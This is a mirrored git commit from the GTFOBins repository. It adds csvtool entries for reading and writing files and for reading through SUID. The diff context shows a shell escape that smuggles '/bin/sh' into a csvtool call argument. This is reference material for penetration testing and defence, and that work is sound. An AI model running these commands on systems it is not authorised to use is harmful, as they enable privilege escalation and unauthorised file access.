mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add csvtool file-read/write
This commit is contained in:
parent
5255ea1846
commit
c51b90a1bb
@ -1,5 +1,21 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
file-read:
|
||||||
|
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
csvtool trim t $LFILE
|
||||||
|
file-write:
|
||||||
|
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo DATA > $TF
|
||||||
|
csvtool trim t $TF -o $LFILE
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./csvtool trim t $LFILE
|
||||||
shell:
|
shell:
|
||||||
- code: csvtool call '/bin/sh;false' /etc/passwd
|
- code: csvtool call '/bin/sh;false' /etc/passwd
|
||||||
sudo:
|
sudo:
|
||||||
|
Loading…
Reference in New Issue
Block a user